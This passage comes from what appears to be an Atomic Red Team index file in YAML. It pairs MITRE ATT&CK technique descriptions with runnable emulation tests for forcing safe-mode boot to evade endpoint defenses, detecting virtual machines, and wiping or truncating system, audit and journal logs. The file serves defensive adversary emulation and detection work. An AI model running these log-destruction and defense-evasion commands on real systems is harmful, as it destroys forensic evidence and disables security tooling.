            $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{azure_username}", $Pword
            Connect-AzureAD -Credential $Credential -ErrorAction Ignore > $null

            Remove-AzureADDomain -Name "#{domain_name}" -ErrorAction Ignore
          } catch {}
        name: powershell
  T1562.009:
    technique:
      x_mitre_platforms:
      - Windows
      x_mitre_domains:
      - enterprise-attack
      x_mitre_contributors:
      - Jorell Magtibay, National Australia Bank Limited
      - Kiyohito Yamamoto, RedLark, NTT Communications
      - Yusuke Kubo, RedLark, NTT Communications
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--28170e17-8384-415c-8486-2e6b294cb803
      type: attack-pattern
      created: '2021-06-23T20:00:27.600Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1562.009
        url: https://attack.mitre.org/techniques/T1562/009
      - source_name: Microsoft Safe Mode
        url: https://support.microsoft.com/en-us/windows/start-your-pc-in-safe-mode-in-windows-10-92c27cff-db89-8644-1ce4-b3e5e56fe234
        description: Microsoft. (n.d.). Start your PC in safe mode in Windows 10.
          Retrieved June 23, 2021.
      - source_name: Sophos Snatch Ransomware 2019
        url: https://news.sophos.com/en-us/2019/12/09/snatch-ransomware-reboots-pcs-into-safe-mode-to-bypass-protection/
        description: Sophos. (2019, December 9). Snatch ransomware reboots PCs into
          Safe Mode to bypass protection. Retrieved June 23, 2021.
      - source_name: Microsoft bcdedit 2021
        url: https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/bcdedit
        description: Microsoft. (2021, May 27). bcdedit. Retrieved June 23, 2021.
      - source_name: CyberArk Labs Safe Mode 2016
        url: https://www.cyberark.com/resources/blog/cyberark-labs-from-safe-mode-to-domain-compromise
        description: 'Naim, D.. (2016, September 15). CyberArk Labs: From Safe Mode
          to Domain Compromise. Retrieved June 23, 2021.'
      - source_name: Cybereason Nocturnus MedusaLocker 2020
        url: https://www.cybereason.com/blog/medusalocker-ransomware
        description: Cybereason Nocturnus. (2020, November 19). Cybereason vs. MedusaLocker
          Ransomware. Retrieved June 23, 2021.
      - source_name: BleepingComputer REvil 2021
        url: https://www.bleepingcomputer.com/news/security/revil-ransomware-has-a-new-windows-safe-mode-encryption-mode/
        description: Abrams, L. (2021, March 19). REvil ransomware has a new ‘Windows
          Safe Mode’ encryption mode. Retrieved June 23, 2021.
      - source_name: Microsoft Bootcfg
        url: https://docs.microsoft.com/windows-server/administration/windows-commands/bootcfg
        description: Gerend, J. et al. (2017, October 16). bootcfg. Retrieved August
          30, 2021.
      modified: '2022-04-25T14:00:00.188Z'
      name: 'Impair Defenses: Safe Boot Mode'
      description: |-
        Adversaries may abuse Windows safe mode to disable endpoint defenses. Safe mode starts up the Windows operating system with a limited set of drivers and services. Third-party security software such as endpoint detection and response (EDR) tools may not start after booting Windows in safe mode. There are two versions of safe mode: Safe Mode and Safe Mode with Networking. It is possible to start additional services after a safe mode boot.(Citation: Microsoft Safe Mode)(Citation: Sophos Snatch Ransomware 2019)

        Adversaries may abuse safe mode to disable endpoint defenses that may not start with a limited boot. Hosts can be forced into safe mode after the next reboot via modifications to Boot Configuration Data (BCD) stores, which are files that manage boot application settings.(Citation: Microsoft bcdedit 2021)

        Adversaries may also add their malicious applications to the list of minimal services that start in safe mode by modifying relevant Registry values (i.e. [Modify Registry](https://attack.mitre.org/techniques/T1112)). Malicious [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) objects may also be registered and loaded in safe mode.(Citation: Sophos Snatch Ransomware 2019)(Citation: CyberArk Labs Safe Mode 2016)(Citation: Cybereason Nocturnus MedusaLocker 2020)(Citation: BleepingComputer REvil 2021)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_detection: |-
        Monitor Registry modification and additions for services that may start on safe mode. For example, a program can be forced to start on safe mode boot by adding a <code>\*</code> in front of the "Startup" value name: <code>HKLM\Software\Microsoft\Windows\CurrentVersion\Run\["\*Startup"="{Path}"]</code> or by adding a key to <code>HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal</code>.(Citation: BleepingComputer REvil 2021)(Citation: Sophos Snatch Ransomware 2019)

        Monitor execution of processes and commands associated with making configuration changes to boot settings, such as <code>bcdedit.exe</code> and <code>bootcfg.exe</code>.(Citation: Microsoft bcdedit 2021)(Citation: Microsoft Bootcfg)(Citation: Sophos Snatch Ransomware 2019)
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Windows Registry: Windows Registry Key Creation'
      - 'Process: Process Creation'
      - 'Windows Registry: Windows Registry Key Modification'
      - 'Command: Command Execution'
      x_mitre_defense_bypassed:
      - Host Intrusion Prevention Systems
      - Anti-virus
      x_mitre_permissions_required:
      - Administrator
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
      identifier: T1562.009
    atomic_tests:
    - name: Safe Mode Boot
      auto_generated_guid: 2a78362e-b79a-4482-8e24-be397bce4d85
      description: Allows adversaries to abuse safe mode to disable endpoint defenses
        that may not start with limited boot
      supported_platforms:
      - windows
      executor:
        command: bcdedit /set safeboot network
        cleanup_command: bcdedit /deletevalue {current} safeboot
        name: command_prompt
        elevation_required: true
  T1542.005:
    technique:
      x_mitre_platforms:
      - Network
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--28abec6c-4443-4b03-8206-07f2e264a6b4
      type: attack-pattern
      created: '2020-10-20T00:06:56.180Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1542.005
        url: https://attack.mitre.org/techniques/T1542/005
      - source_name: Cisco Blog Legacy Device Attacks
        url: https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954
        description: Omar Santos. (2020, October 19). Attackers Continue to Target
          Legacy Devices. Retrieved October 20, 2020.
      - source_name: Cisco IOS Software Integrity Assurance - Secure Boot
        url: https://tools.cisco.com/security/center/resources/integrity_assurance.html#35
        description: Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Secure
          Boot. Retrieved October 19, 2020.
      - source_name: Cisco IOS Software Integrity Assurance - Image File Verification
        url: https://tools.cisco.com/security/center/resources/integrity_assurance.html#7
        description: Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco
          IOS Image File Verification. Retrieved October 19, 2020.
      - source_name: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification
        url: https://tools.cisco.com/security/center/resources/integrity_assurance.html#13
        description: Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco
          IOS Run-Time Memory Integrity Verification. Retrieved October 19, 2020.
      - source_name: Cisco IOS Software Integrity Assurance - Command History
        url: https://tools.cisco.com/security/center/resources/integrity_assurance.html#23
        description: Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Command
          History. Retrieved October 21, 2020.
      - source_name: Cisco IOS Software Integrity Assurance - Boot Information
        url: https://tools.cisco.com/security/center/resources/integrity_assurance.html#26
        description: Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Boot
          Information. Retrieved October 21, 2020.
      modified: '2021-04-29T14:49:39.188Z'
      name: TFTP Boot
      description: |-
        Adversaries may abuse netbooting to load an unauthorized network device operating system from a Trivial File Transfer Protocol (TFTP) server. TFTP boot (netbooting) is commonly used by network administrators to load configuration-controlled network device images from a centralized management server. Netbooting is one option in the boot sequence and can be used to centralize, manage, and control device images.

        Adversaries may manipulate the configuration on the network device specifying use of a malicious TFTP server, which may be used in conjunction with [Modify System Image](https://attack.mitre.org/techniques/T1601) to load a modified image on device startup or reset. The unauthorized image allows adversaries to modify device configuration, add malicious capabilities to the device, and introduce backdoors to maintain control of the network device while minimizing detection through use of a standard functionality. This technique is similar to [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) and may result in the network device running a modified image. (Citation: Cisco Blog Legacy Device Attacks)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: persistence
      x_mitre_detection: |-
        Consider comparing a copy of the network device configuration and system image against a known-good version to discover unauthorized changes to system boot, startup configuration, or the running OS. (Citation: Cisco IOS Software Integrity Assurance - Secure Boot) (Citation: Cisco IOS Software Integrity Assurance - Image File Verification)The same process can be accomplished through a comparison of the run-time memory, though this is non-trivial and may require assistance from the vendor.  (Citation: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification)

        Review command history in either the console or as part of the running memory to determine if unauthorized or suspicious commands were used to modify device configuration. (Citation: Cisco IOS Software Integrity Assurance - Command History) Check boot information including system uptime, image booted, and startup configuration to determine if results are consistent with expected behavior in the environment. (Citation: Cisco IOS Software Integrity Assurance - Boot Information) Monitor unusual connections or connection attempts to the device that may specifically target TFTP or other file-sharing protocols.
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Command: Command Execution'
      - 'Network Traffic: Network Connection Creation'
      - 'Firmware: Firmware Modification'
      x_mitre_permissions_required:
      - Administrator
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
    atomic_tests: []
  T1497.001:
    technique:
      modified: '2024-04-19T12:49:40.919Z'
      name: 'Virtualization/Sandbox Evasion: System Checks'
      description: "Adversaries may employ various system checks to detect and avoid
        virtualization and analysis environments. This may include changing behaviors
        based on the results of checks for the presence of artifacts indicative of
        a virtual machine environment (VME) or sandbox. If the adversary detects a
        VME, they may alter their malware to disengage from the victim or conceal
        the core functions of the implant. They may also search for VME artifacts
        before dropping secondary or additional payloads. Adversaries may use the
        information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497)
        during automated discovery to shape follow-on behaviors.(Citation: Deloitte
        Environment Awareness)\n\nSpecific checks will vary based on the target and/or
        adversary, but may involve behaviors such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047),
        [PowerShell](https://attack.mitre.org/techniques/T1059/001), [System Information
        Discovery](https://attack.mitre.org/techniques/T1082), and [Query Registry](https://attack.mitre.org/techniques/T1012)
        to obtain system information and search for VME artifacts. Adversaries may
        search for VME artifacts in memory, processes, file system, hardware, and/or
        the Registry. Adversaries may use scripting to automate these checks  into
        one script and then have the program exit if it determines the system to be
        a virtual environment. \n\nChecks could include generic system properties
        such as host/domain name and samples of network traffic. Adversaries may also
        check the network adapters addresses, CPU core count, and available memory/drive
        size. Once executed, malware may also use [File and Directory Discovery](https://attack.mitre.org/techniques/T1083)
        to check if it was saved in a folder or file with unexpected or even analysis-related
        naming artifacts such as `malware`, `sample`, or `hash`.\n\nOther common checks
        may enumerate services running that are unique to these applications, installed
        programs on the system, manufacturer/product fields for strings relating to
        virtual machine applications, and VME-specific hardware/processor instructions.(Citation:
        McAfee Virtual Jan 2017) In applications like VMWare, adversaries can also
        use a special I/O port to send commands and receive output. \n \nHardware
        checks, such as the presence of the fan, temperature, and audio devices, could
        also be used to gather evidence that can be indicative a virtual environment.
        Adversaries may also query for specific readings from these devices.(Citation:
        Unit 42 OilRig Sept 2018)"
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: discovery
      x_mitre_contributors:
      - Deloitte Threat Library Team
      - Kostya Vasilkov
      x_mitre_deprecated: false
      x_mitre_detection: Virtualization/sandbox related system checks will likely
        occur in the first steps of an operation but may also occur throughout as
        an adversary learns the environment. Data and events should not be viewed
        in isolation, but as part of a chain of behavior that could lead to other
        activities, such as lateral movement, based on the information obtained. Detecting
        actions related to virtualization and sandbox identification may be difficult
        depending on the adversary's implementation and monitoring required. Monitoring
        for suspicious processes being spawned that gather a variety of system information
        or perform other forms of Discovery, especially in a short period of time,
        may aid in detection.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_version: '2.2'
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      - 'Process: OS API Execution'
      x_mitre_defense_bypassed:
      - Static File Analysis
      - Signature-based detection
      - Host forensic analysis
      - Anti-virus
      type: attack-pattern
      id: attack-pattern--29be378d-262d-4e99-b00d-852d573628e6
      created: '2020-03-06T20:57:37.959Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1497/001
        external_id: T1497.001
      - source_name: Unit 42 OilRig Sept 2018
        description: Falcone, R., et al. (2018, September 04). OilRig Targets a Middle
          Eastern Government and Adds Evasion Techniques to OopsIE. Retrieved September
          24, 2018.
        url: https://researchcenter.paloaltonetworks.com/2018/09/unit42-oilrig-targets-middle-eastern-government-adds-evasion-techniques-oopsie/
      - source_name: McAfee Virtual Jan 2017
        description: Roccia, T. (2017, January 19). Stopping Malware With a Fake Virtual
          Machine. Retrieved April 17, 2019.
        url: https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/stopping-malware-fake-virtual-machine/
      - source_name: Deloitte Environment Awareness
        description: Torello, A. & Guibernau, F. (n.d.). Environment Awareness. Retrieved
          May 18, 2021.
        url: https://drive.google.com/file/d/1t0jn3xr4ff2fR30oQAUn_RsWSnMpOAQc
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1497.001
    atomic_tests:
    - name: Detect Virtualization Environment (Linux)
      auto_generated_guid: dfbd1a21-540d-4574-9731-e852bd6fe840
      description: |
        systemd-detect-virt detects execution in a virtualized environment.
        At boot, dmesg stores a log if a hypervisor is detected.
      supported_platforms:
      - linux
      executor:
        name: sh
        elevation_required: true
        command: |
          if (systemd-detect-virt) then echo "Virtualization Environment detected"; fi;
          if (sudo dmidecode | egrep -i 'manufacturer|product|vendor' | grep -iE 'Oracle|VirtualBox|VMWare|Parallels') then echo "Virtualization Environment detected"; fi;
    - name: Detect Virtualization Environment (FreeBSD)
      auto_generated_guid: e129d73b-3e03-4ae9-bf1e-67fc8921e0fd
      description: |
        Detects execution in a virtualized environment.
        At boot, dmesg stores a log if a hypervisor is detected.
      supported_platforms:
      - linux
      executor:
        name: sh
        elevation_required: true
        command: 'if [ "$(sysctl -n hw.hv_vendor)" != "" ]; then echo "Virtualization
          Environment detected"; fi

          '
    - name: Detect Virtualization Environment (Windows)
      auto_generated_guid: 502a7dc4-9d6f-4d28-abf2-f0e84692562d
      description: 'Windows Management Instrumentation(WMI) objects contains system
        information which helps to detect virtualization. This command will specifically
        attempt to get the CurrentTemperature value from this object and will check
        to see if the attempt results in an error that contains the word supported.
        This is meant to find the result of Not supported, which is the result if
        run in a virtual machine

        '
      supported_platforms:
      - windows
      executor:
        name: powershell
        elevation_required: false
        command: |
          $error.clear()
          Get-WmiObject -Query "SELECT * FROM MSAcpi_ThermalZoneTemperature" -ErrorAction SilentlyContinue
          if($error) {echo "Virtualization Environment detected"}
        cleanup_command: "$error.clear()\n"
    - name: Detect Virtualization Environment (MacOS)
      auto_generated_guid: a960185f-aef6-4547-8350-d1ce16680d09
      description: 'ioreg contains registry entries for all the device drivers in
        the system. If it''s a virtual machine, one of the device manufacturer will
        be a Virtualization Software.

        '
      supported_platforms:
      - macos
      executor:
        name: sh
        elevation_required: false
        command: 'if (ioreg -l | grep -e Manufacturer -e ''Vendor Name'' | grep -iE
          ''Oracle|VirtualBox|VMWare|Parallels'') then echo ''Virtualization Environment
          detected''; fi;

          '
    - name: Detect Virtualization Environment via WMI Manufacturer/Model Listing (Windows)
      auto_generated_guid: 4a41089a-48e0-47aa-82cb-5b81a463bc78
      description: "Windows Management Instrumentation(WMI) objects contain system
        information which helps to detect virtualization. This test will get the model
        and manufacturer of the machine to determine if it is a virtual machine, such
        as through VMware or VirtualBox. \n"
      supported_platforms:
      - windows
      executor:
        name: powershell
        elevation_required: false
        command: |
          $Manufacturer = Get-WmiObject -Class Win32_ComputerSystem | select-object -expandproperty "Manufacturer"
          $Model = Get-WmiObject -Class Win32_ComputerSystem | select-object -expandproperty "Model"
          if((($Manufacturer.ToLower() -eq "microsoft corporation") -and ($Model.ToLower().contains("virtual"))) -or ($Manufacturer.ToLower().contains("vmware")) -or ($Model.ToLower() -eq "virtualbox")) {write-host "Virtualization environment detected!"} else {write-host "No virtualization environment detected!"}
  T1070.002:
    technique:
      x_mitre_platforms:
      - Linux
      - macOS
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--2bce5b30-7014-4a5d-ade7-12913fe6ac36
      type: attack-pattern
      created: '2020-01-28T17:11:54.034Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1070.002
        url: https://attack.mitre.org/techniques/T1070/002
      - source_name: Linux Logs
        url: https://www.eurovps.com/blog/important-linux-log-files-you-must-be-monitoring/
        description: Marcel. (2018, April 19). 12 Critical Linux Log Files You Must
          be Monitoring. Retrieved March 29, 2020.
      modified: '2021-04-29T14:49:39.188Z'
      name: 'Indicator Removal on Host: Clear FreeBSD, Linux or Mac System Logs'
      description: |
        Adversaries may clear system logs to hide evidence of an intrusion. macOS and Linux both keep track of system or user-initiated actions via system logs. The majority of native system logging is stored under the <code>/var/log/</code> directory. Subfolders in this directory categorize logs by their related functions, such as:(Citation: Linux Logs)

        * <code>/var/log/messages:</code>: General and system-related messages
        * <code>/var/log/secure</code> or <code>/var/log/auth.log</code>: Authentication logs
        * <code>/var/log/utmp</code> or <code>/var/log/wtmp</code>: Login records
        * <code>/var/log/kern.log</code>: Kernel logs
        * <code>/var/log/cron.log</code>: Crond logs
        * <code>/var/log/maillog</code>: Mail server logs
        * <code>/var/log/httpd/</code>: Web server access and error logs
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_detection: File system monitoring may be used to detect improper deletion
        or modification of indicator files. Also monitor for suspicious processes
        interacting with log files.
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'File: File Deletion'
      - 'File: File Modification'
      - 'Command: Command Execution'
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
      identifier: T1070.002
    atomic_tests:
    - name: rm -rf
      auto_generated_guid: 989cc1b1-3642-4260-a809-54f9dd559683
      description: 'Delete system and audit logs

        '
      supported_platforms:
      - macos
      - linux
      input_arguments:
        syslog_path:
          description: path of syslog file to delete. On macos it's /var/log/system.log*,
            on linux, it's /var/log/syslog*. Also note for File events, that on macos,
            /var/ is a link to /private/var/.
          type: string
          default: "/var/log/system.log"
        macos_audit_path:
          description: path of audit file to delete
          type: string
          default: "/var/audit/20220725213300.202208110700021"
      dependency_executor_name: sh
      dependencies:
      - description: 'target files must exist

          '
        prereq_command: 'if [ -d /var/audit ] ; then stat #{macos_audit_path} ; fi
          && stat #{syslog_path}

          '
        get_prereq_command: |
          touch #{syslog_path}
          if [ -d /var/audit ] ; then touch #{macos_audit_path} ; fi
      executor:
        command: |
          sudo rm -rf #{syslog_path}
          if [ -d /var/audit ] ; then sudo rm -rf #{macos_audit_path} ; fi
        name: sh
        elevation_required: true
    - name: rm -rf
      auto_generated_guid: bd8ccc45-d632-481e-b7cf-c467627d68f9
      description: 'Delete messages and security logs

        '
      supported_platforms:
      - linux
      executor:
        command: |
          rm -rf /var/log/messages
          rm -rf /var/log/security
        name: sh
        elevation_required: true
    - name: Delete log files using built-in log utility
      auto_generated_guid: 653d39cd-bae7-499a-898c-9fb96b8b5cd1
      description: 'This test deletes main log datastore, inflight log data, time-to-live
        data(TTL), fault and error content

        '
      supported_platforms:
      - macos
      executor:
        command: |
          sudo log erase --all
          sudo log erase --ttl #Deletes only time-to-live log content
        name: sh
        elevation_required: true
    - name: Truncate system log files via truncate utility
      auto_generated_guid: 6290f8a8-8ee9-4661-b9cf-390031bf6973
      description: 'This test truncates the system log files using the truncate utility
        with (-s 0) parameter which sets file size to zero, thus emptying the file
        content

        '
      supported_platforms:
      - macos
      input_arguments:
        system_log_path:
          description: path of system log to delete.
          type: string
          default: "/var/log/system.log"
      dependency_executor_name: sh
      dependencies:
      - description: 'target files must exist

          '
        prereq_command: 'stat #{system_log_path}

          '
        get_prereq_command: 'touch #{system_log_path}

          '
      executor:
        command: 'sudo truncate -s 0 #{system_log_path} #size parameter shorthand

          '
        name: sh
        elevation_required: true
    - name: Truncate system log files via truncate utility (freebsd)
      auto_generated_guid: 14033063-ee04-4eaf-8f5d-ba07ca7a097c
      description: 'This test truncates the system log files using the truncate utility
        with (-s 0 or --size=0) parameter which sets file size to zero, thus emptying
        the file content

        '
      supported_platforms:
      - linux
      executor:
        command: "truncate -s 0 /var/log/messages #size parameter shorthand\ntruncate
          --size=0 /var/log/security #size parameter \n"
        name: sh
        elevation_required: true
    - name: Delete log files via cat utility by appending /dev/null or /dev/zero
      auto_generated_guid: c23bdb88-928d-493e-b46d-df2906a50941
      description: 'The first sub-test truncates the log file to zero bytes via /dev/null
        and the second sub-test fills the log file with null bytes(zeroes) via /dev/zero,
        using cat utility

        '
      supported_platforms:
      - macos
      input_arguments:
        system_log_path:
          description: path of system log to delete.
          type: string
          default: "/var/log/system.log"
      dependency_executor_name: sh
      dependencies:
      - description: 'target files must exist

          '
        prereq_command: 'stat #{system_log_path}

          '
        get_prereq_command: 'touch #{system_log_path}

          '
      executor:
        command: |
          sudo cat /dev/null > #{system_log_path} #truncating the file to zero bytes
          sudo dd if=/dev/zero bs=1000 count=5 of=#{system_log_path} #log file filled with null bytes(zeros)
        name: sh
        elevation_required: true
    - name: Delete log files via cat utility by appending /dev/null or /dev/zero (freebsd)
      auto_generated_guid: 369878c6-fb04-48d6-8fc2-da9d97b3e054
      description: 'The first sub-test truncates the log file to zero bytes via /dev/null
        and the second sub-test fills the log file with null bytes(zeroes) via /dev/zero,
        using cat utility

        '
      supported_platforms:
      - linux
      executor:
        command: |
          cat /dev/null > /var/log/messages #truncating the file to zero bytes
          cat /dev/zero > /var/lol/messages #log file filled with null bytes(zeros)
        name: sh
        elevation_required: true
    - name: System log file deletion via find utility
      auto_generated_guid: bc8eeb4a-cc3e-45ec-aa6e-41e973da2558
      description: 'This test finds and deletes the system log files within /var/log/
        directory using various executions(rm, shred, unlink)

        '
      supported_platforms:
      - macos
      input_arguments:
        system_log_name1:
          description: name or prefix of system log to delete.
          type: string
          default: system.log
        system_log_name2:
          description: name or prefix of system log to delete.
          type: string
          default: system.log.97.gz
        system_log_name3:
          description: name or prefix of system log to delete.
          type: string
          default: system.log.98.gz
      dependency_executor_name: sh
      dependencies:
      - description: 'target files must exist

          '
        prereq_command: 'stat /var/log/#{system_log_name1} /var/log/#{system_log_name2}
          /var/log/#{system_log_name3}

          '
        get_prereq_command: 'touch /var/log/#{system_log_name1} /var/log/#{system_log_name2}
          /var/log/#{system_log_name3}

          '
      executor:
        command: |
          sudo find /var/log -name '#{system_log_name1}*' -exec rm {} \; #using "rm" execution
          sudo find /var/log -name "#{system_log_name2}*" -exec shred -u -z -n 3 {} \; #using "shred" execution
          sudo find /var/log -name "#{system_log_name3}*" -exec unlink {} \; #using "unlink" execution
        name: sh
        elevation_required: true
    - name: Overwrite macOS system log via echo utility
      auto_generated_guid: '0208ea60-98f1-4e8c-8052-930dce8f742c'
      description: 'This test overwrites the contents of system log file with an empty
        string using echo utility

        '
      supported_platforms:
      - macos
      input_arguments:
        system_log_path:
          description: path to system.log
          type: string
          default: "/var/log/system.log"
      executor:
        command: 'sudo echo '''' > #{system_log_path}

          '
        name: sh
        elevation_required: true
    - name: Overwrite FreeBSD system log via echo utility
      auto_generated_guid: 11cb8ee1-97fb-4960-8587-69b8388ee9d9
      description: 'This test overwrites the contents of system log file with an empty
        string using echo utility

        '
      supported_platforms:
      - linux
      executor:
        command: 'echo '''' > /var/log/messages

          '
        name: sh
        elevation_required: true
    - name: Real-time system log clearance/deletion
      auto_generated_guid: 848e43b3-4c0a-4e4c-b4c9-d1e8cea9651c
      description: 'This test reads real-time system log file and writes empty string
        to it, thus clearing the log file without tampering with the logging process

        '
      supported_platforms:
      - macos
      executor:
        command: 'sudo log -f /var/log/system.log | : > /var/log/system.log

          '
        name: sh
        elevation_required: true
    - name: Delete system log files via unlink utility
      auto_generated_guid: 03013b4b-01db-437d-909b-1fdaa5010ee8
      description: 'This test deletes the system log file using unlink utility

        '
      supported_platforms:
      - macos
      input_arguments:
        system_log_path:
          description: path to system.log
          type: string
          default: "/var/log/system.log"
      dependency_executor_name: sh
      dependencies:
      - description: 'target files must exist

          '
        prereq_command: 'stat #{system_log_path}

          '
        get_prereq_command: 'touch #{system_log_path}

          '
      executor:
        command: 'sudo unlink #{system_log_path}

          '
        name: sh
        elevation_required: true
    - name: Delete system log files via unlink utility (freebsd)
      auto_generated_guid: 45ad4abd-19bd-4c5f-a687-41f3eee8d8c2
      description: 'This test deletes the messages log file using unlink utility

        '
      supported_platforms:
      - linux
      executor:
        command: 'unlink /var/log/messages

          '
        name: sh
        elevation_required: true
    - name: Delete system log files using shred utility
      auto_generated_guid: 86f0e4d5-3ca7-45fb-829d-4eda32b232bb
      description: 'This test overwrites the contents of the log file with zero bytes(-z)
        using three passes(-n 3) of data, and then delete the file(-u) securely

        '
      supported_platforms:
      - macos
      input_arguments:
        system_log_path:
          description: path to system.log
          type: string
          default: "/var/log/system.log"
      dependency_executor_name: sh
      dependencies:
      - description: 'target files must exist

          '
        prereq_command: 'stat #{system_log_path}

          '
        get_prereq_command: 'touch #{system_log_path}

          '
      executor:
        command: 'sudo shred -u -z -n 3 #{system_log_path}

          '
        name: sh
        elevation_required: true
    - name: Delete system log files using srm utility
      auto_generated_guid: b0768a5e-0f32-4e75-ae5b-d036edcf96b6
      description: |
        This test securely deletes the system log files individually and recursively using the srm utility.
        Install srm using Homebrew with the command: brew install khell/homebrew-srm/srm
        Refer: https://github.com/khell/homebrew-srm/issues/1 for installation
      supported_platforms:
      - macos
      input_arguments:
        system_log_path:
          description: path to system.log
          type: string
          default: "/var/log/system.log"
        system_log_folder:
          description: path to log parent folder
          type: string
          default: "/var/log/"
      dependency_executor_name: sh
      dependencies:
      - description: 'target files must exist

          '
        prereq_command: 'stat #{system_log_path} #{system_log_folder}

          '
        get_prereq_command: 'mkdir -p #{system_log_folder} && touch #{system_log_path}
          #{system_log_folder}/system.log

          '
      executor:
        command: |
          sudo srm #{system_log_path} #system log file deletion
          sudo srm -r #{system_log_folder} #recursive deletion of log files
        name: sh
        elevation_required: true
    - name: Delete system log files using OSAScript
      auto_generated_guid: 810a465f-cd4f-47bc-b43e-d2de3b033ecc
      description: 'This test deletes the system log file using osascript via "do
        shell script"(sh/bash by default) which in-turn spawns rm utility, requires
        admin privileges

        '
      supported_platforms:
      - macos
      input_arguments:
        system_log_path:
          description: path to system.log
          type: string
          default: "/var/log/system.log"
      dependency_executor_name: sh
      dependencies:
      - description: 'target files must exist

          '
        prereq_command: 'stat #{system_log_path}

          '
        get_prereq_command: 'touch #{system_log_path}

          '
      executor:
        command: 'osascript -e ''do shell script "rm #{system_log_path}" with administrator
          privileges''

          '
        name: sh
        elevation_required: true
    - name: Delete system log files using Applescript
      auto_generated_guid: e62f8694-cbc7-468f-862c-b10cd07e1757
      description: |
        This test deletes the system log file using applescript using osascript via Finder application
        Note: The user may be prompted to grant access to the Finder application before the command can be executed successfully as part of TCC(Transparency, Consent, and Control) Framework.
        Refer: https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive
      supported_platforms:
      - macos
      input_arguments:
        system_log_path:
          description: path to system.log
          type: string
          default: "/var/log/system.log"
      dependency_executor_name: sh
      dependencies:
      - description: 'target files must exist

          '
        prereq_command: 'stat #{system_log_path}

          '
        get_prereq_command: 'touch #{system_log_path}

          '
      executor:
        command: 'osascript -e ''tell application "Finder" to delete POSIX file "#{system_log_path}"''

          '
        name: sh
        elevation_required: true
    - name: Delete system journal logs via rm and journalctl utilities
      auto_generated_guid: ca50dd85-81ff-48ca-92e1-61f119cb1dcf
      description: 'The first sub-test deletes the journal files using rm utility
        in the "/var/log/journal/" directory and the second sub-test clears the journal
        by modifiying time period of logs that should be retained to zero.

        '
      supported_platforms:
      - linux
      input_arguments:
        journal_folder:
          description: path to journal logs
          type: string
          default: "/var/log/journal"
      dependency_executor_name: sh
      dependencies:
      - description: 'target files must exist

          '
        prereq_command: 'stat #{journal_folder}

          '
        get_prereq_command: 'mkdir -p #{journal_folder} && touch #{journal_folder}/T1070_002.journal

          '
      executor:
        command: |
          sudo rm #{journal_folder}/* #physically deletes the journal files, and not just their content
          sudo journalctl --vacuum-time=0 #clears the journal while still keeping the journal files in place
        name: sh
        elevation_required: true
    - name: Overwrite Linux Mail Spool
      auto_generated_guid: 1602ff76-ed7f-4c94-b550-2f727b4782d4
      description: 'This test overwrites the Linux mail spool of a specified user.
        This technique was used by threat actor Rocke during the exploitation of Linux
        web servers.

        '
      supported_platforms:
      - linux
      input_arguments:
        username:
          description: Username of mail spool
          type: string
          default: root
      dependency_executor_name: sh
      dependencies:
      - description: 'target files must exist

          '
